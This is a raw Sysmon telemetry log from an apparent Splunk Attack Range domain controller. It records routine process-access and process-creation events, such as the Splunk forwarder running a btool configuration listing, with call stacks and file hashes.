09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001765Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4400-000000007F01}4044C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001764Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28D0-5F80-4300-000000007F01}40324036C:\Windows\system32\cmd.exe{A5F018FF-28D0-5F80-4400-000000007F01}4044C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001763Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.541{A5F018FF-28D0-5F80-4400-000000007F01}4044C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-28D0-5F80-4300-000000007F01}4032C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list general --no-log 10341000x80000000000000001762Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4300-000000007F01}4032C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001761Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001760Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001759Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001758Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001757Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001756Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001755Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001754Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001753Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001752Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4300-000000007F01}4032C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001751Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.528{A5F018FF-28D0-5F80-3F00-000000007F01}39563960C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D0-5F80-4300-000000007F01}4032C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+6665|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+14738|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+d1d8|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001750Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.536{A5F018FF-28D0-5F80-4300-000000007F01}4032C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28D0-5F80-3F00-000000007F01}3956C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args 10341000x80000000000000001749Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.465{A5F018FF-28D0-5F80-4200-000000007F01}40084012C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e675|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f344c|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001748Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4200-000000007F01}4008C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001747Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001746Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001745Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001744Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001743Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001742Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001741Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001740Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001739Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4200-000000007F01}4008C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001738Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 